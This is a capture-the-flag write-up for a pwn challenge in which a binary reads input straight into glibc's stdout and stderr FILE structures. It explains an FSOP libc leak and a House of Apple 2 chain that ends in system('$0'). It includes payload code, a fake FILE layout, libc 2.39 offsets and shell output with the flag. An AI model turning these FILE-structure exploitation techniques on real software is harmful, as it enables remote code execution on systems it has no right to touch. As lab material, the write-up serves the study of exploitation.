Cyber Apocalypse 2026 — Pwn — The Emptiness Machine

Category: Pwn **Flag:** `HTB{f4ll1ng_4_th3_pr0m1s3_0f_th3_3mptin355_m4ch1ne :)_ee4d29b9f853d6667840ac2116f62527}`

TL;DR

The binary lets you `scanf` **directly into the `stdout` and `stderr` `FILE` structures**. Two writes, side by side — exactly the "two currents of herself running side by side" from the story.

1. **Stage 1 — corrupt `stdout` (40 bytes):** a classic File-Stream-Oriented-Programming (FSOP) libc **leak**. The `printf` that runs *after* the write flushes attacker-chosen memory to the socket.
2. **Stage 2 — corrupt `stderr` (224 bytes): House of Apple 2**. When the process returns from `main`, `exit()` flushes all streams; we redirect the flush of our fake `stderr` into `system("sh")`.

No canary, but Full RELRO + PIE + NX, glibc 2.39 with vtable-check hardening — so a plain vtable overwrite is out, and House of Apple 2 is the intended path.

---

1. Recon

```
the_emptiness_machine: ELF 64-bit PIE, dynamically linked,
    interpreter ./glibc/ld-linux-x86-64.so.2, not stripped
glibc/libc.so.6: Ubuntu GLIBC 2.39-0ubuntu8.7
```

```
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
```

Only `main` is user code. Disassembly (rip-relative targets resolved):

```
main:
  mov  rax, [rip+stdin] ; setbuf(stdin,  NULL)
  call setbuf
  mov  rax, [rip+stdout]; setbuf(stdout, NULL)
  call setbuf
  lea  rax, [art]       ; puts(art)
  call puts
  lea  rax, [msg1]      ; printf("... Rin's interaction: ")
  call printf
  mov  rax, [rip+stdout]        ; rax = *stdout  (the FILE*)
  mov  rsi, rax
  lea  rdi, ["%40s"]
  call __isoc99_scanf           ; scanf("%40s",  stdout)   <-- write #1 (40 bytes)
  lea  rax, [msg2]              ; printf("...", ...)        <-- runs on corrupted std
  call printf
  mov  rax, [rip+stderr]        ; rax = *stderr  (the FILE*)
  mov  rsi, rax
  lea  rdi, ["%224s"]
  call __isoc99_scanf           ; scanf("%224s", stderr)   <-- write #2 (224 bytes)
  ret                           ; -> exit() -> flush all streams
```

So both `scanf`s write **into the real `_IO_2_1_stdout_` / `_IO_2_1_stderr_` structures inside libc**:

write	target	field range
`%40s`	`_IO_2_1_stdout_`	offset `0x00` – `0x27`
`%224s`	`_IO_2_1_stderr_`	offset `0x00` – `0xdf` (the whole `_IO_FILE_plus`, 224 = `0xe0`)

The key constraint of `scanf("%s")`

`%s` stops at **whitespace** (`0x09 0x0a 0x0b 0x0c 0x0d 0x20`) — but a **NUL byte is not whitespace**, so `scanf` happily *stores* embedded `\x00` bytes. That means we effectively have an almost-arbitrary write of both FILE structs, as long as no byte of the payload is one of the six whitespace values.

---

2. Stage 1 — libc leak via `stdout`

`setbuf(stdout, NULL)` makes `stdout` unbuffered, so at write-time:

```
_IO_write_base = _IO_write_ptr = _IO_write_end = _IO_buf_base = &_shortbuf = stdout+0
```

The classic FSOP leak: set the magic flags and let `scanf`'s terminating NUL zero the **low byte of `_IO_write_base`**, dragging it back from `stdout+0x83` to `stdout+0x40`. The next stdio write (`printf(msg2)`) then flushes `[stdout+0x40, &_shortbuf)` to fd 1.

Payload — exactly **32 bytes** so the NUL terminator lands on `_IO_write_base[0]`:

```
io.send(p64(0xfbad1800) + p64(0)*3 + b"\n")   # flags, read_ptr, read_end, read_base
```

`stdout+0x40` is `_IO_buf_end = &_shortbuf+1 = stdout+0x84`, so the **first 8 leaked bytes are `stdout+0x84`**:

```
buf_end = u64(io.recv(8))
libc.address = buf_end - (0x2045c0 + 0x84)     # _IO_2_1_stdout_ = base+0x2045c0
```

Crucially `printf(msg2)` **does not crash** — execution continues to the second `scanf`, so the leak and the final write happen in the *same* connection.

---

3. Stage 2 — House of Apple 2 on `stderr`

On `return` from `main`, `exit() → __run_exit_handlers → _IO_cleanup → _IO_flush_all` walks the stream list (`stderr → stdout → stdin`) and, for each stream with `_mode<=0 && _IO_write_ptr > _IO_write_base`, calls `_IO_OVERFLOW(fp)` **after** validating the vtable with `_IO_vtable_check`.

Because glibc 2.39 validates the vtable pointer, we can only point it at a *legitimate* libio vtable. **House of Apple 2** uses `_IO_wfile_jumps`:

```
_IO_OVERFLOW(fp)                    -> _IO_wfile_overflow(fp, EOF)
_IO_wfile_overflow                  -> _IO_wdoallocbuf(fp)          [if wide write_ba
_IO_wdoallocbuf                     -> fp->_wide_data->_wide_vtable->__doallocate (fp
```

That final indirect call is **not** vtable-checked, `rdi = fp`, so we get `system(fp)` — and since `fp` points at our fake struct, the command executed is whatever we put in `_flags`.

Verified conditions from the provided libc's disassembly:

- `_IO_wfile_overflow`: `_flags & 0x8` (`_IO_NO_WRITES`) must be **0**; take the `wide_data->_IO_write_base == 0` branch to reach `_IO_wdoallocbuf`.
- `_IO_wdoallocbuf`: `wide_data->_IO_buf_base` must be **0**; `_flags & 0x2` (`_IO_UNBUFFERED`) must be **0**; then it calls `wide_vtable[0x68/8](fp)`.

Overlapping the fake `_IO_wide_data` onto `stderr` itself

We only control the 224-byte `stderr` struct. Point `_wide_data = stderr - 0x10` so its needed fields fall inside our controlled bytes:

wide_data field	wide off	maps to `stderr+`	value
`_IO_write_base`	`+0x18`	`+0x08`	`0`
`_IO_buf_base`	`+0x30`	`+0x20`	`0`
`_wide_vtable`	`+0xe0`	`+0xd0`	`stderr-0x28`

Then `fake_wide_vtable = stderr-0x28`, so `+0x68 = stderr+0x40`, where we place `system`.

Command: `system("$0")`

`rdi = fp = stderr`, so `_flags` is the command string. `_flags` must have bits `0x2` and `0x8` clear in its low byte (and `0x800` clear) and contain no whitespace. `/bin/sh` fails (`/` = `0x2f` sets both bits). The trick:

```
_flags = "$0"      ->  system("$0")
```

`system` runs `/bin/sh -c "$0"`; `$0` expands to `"sh"`, giving an interactive shell on the socket. `'$'=0x24` and `'0'=0x30` pass every flag/whitespace check.

Final `stderr` layout (224 bytes)

```
S = libc.address + 0x2044e0
fake = {
    0x00: b"$0\0\0\0\0\0\0",  # _flags -> system("$0")
    0x28: 1,                  # _IO_write_ptr  > write_base(0) -> stream is flushed
    0x40: system,             # fake _wide_vtable->__doallocate
    0x88: S + 0x10,           # _lock -> a writable zero qword
    0xa0: S - 0x10,           # _wide_data
    0xc0: 0,                  # _mode = 0
    0xd0: S - 0x28,           # wide->_wide_vtable
    0xd8: libc.address+0x202228,  # vtable = _IO_wfile_jumps  (passes vtable check)
}
# every other byte 0
```

---

4. The one flaky bit: whitespace in addresses

Because ASLR can place a `0x09/0x0a/.../0x20` byte inside any of the five addresses we write (`system`, `_lock`, `_wide_data`, `_wide_vtable`, `vtable`), `scanf` would truncate the payload. The leak payload itself is whitespace-free and deterministic, so we simply **leak first, build stage 2, and if it contains a whitespace byte, reconnect** (~50% clean per connection). It hit on the first try against the remote.

---

5. Result

```
[*] leaked buf_end = 0x7f5275fba644  ->  libc base = 0x7f5275db6000
[+] shell obtained
$ cat flag.txt
HTB{f4ll1ng_4_th3_pr0m1s3_0f_th3_3mptin355_m4ch1ne :)_ee4d29b9f853d6667840ac2116f6252
```

Full exploit: `exploit.py`.

Appendix — offsets (glibc 2.39-0ubuntu8.7)

symbol	offset
`_IO_2_1_stdout_`	`0x2045c0`
`_IO_2_1_stderr_`	`0x2044e0`
`system`	`0x58750`
`_IO_wfile_jumps`	`0x202228`
`_IO_file_jumps`	`0x202030`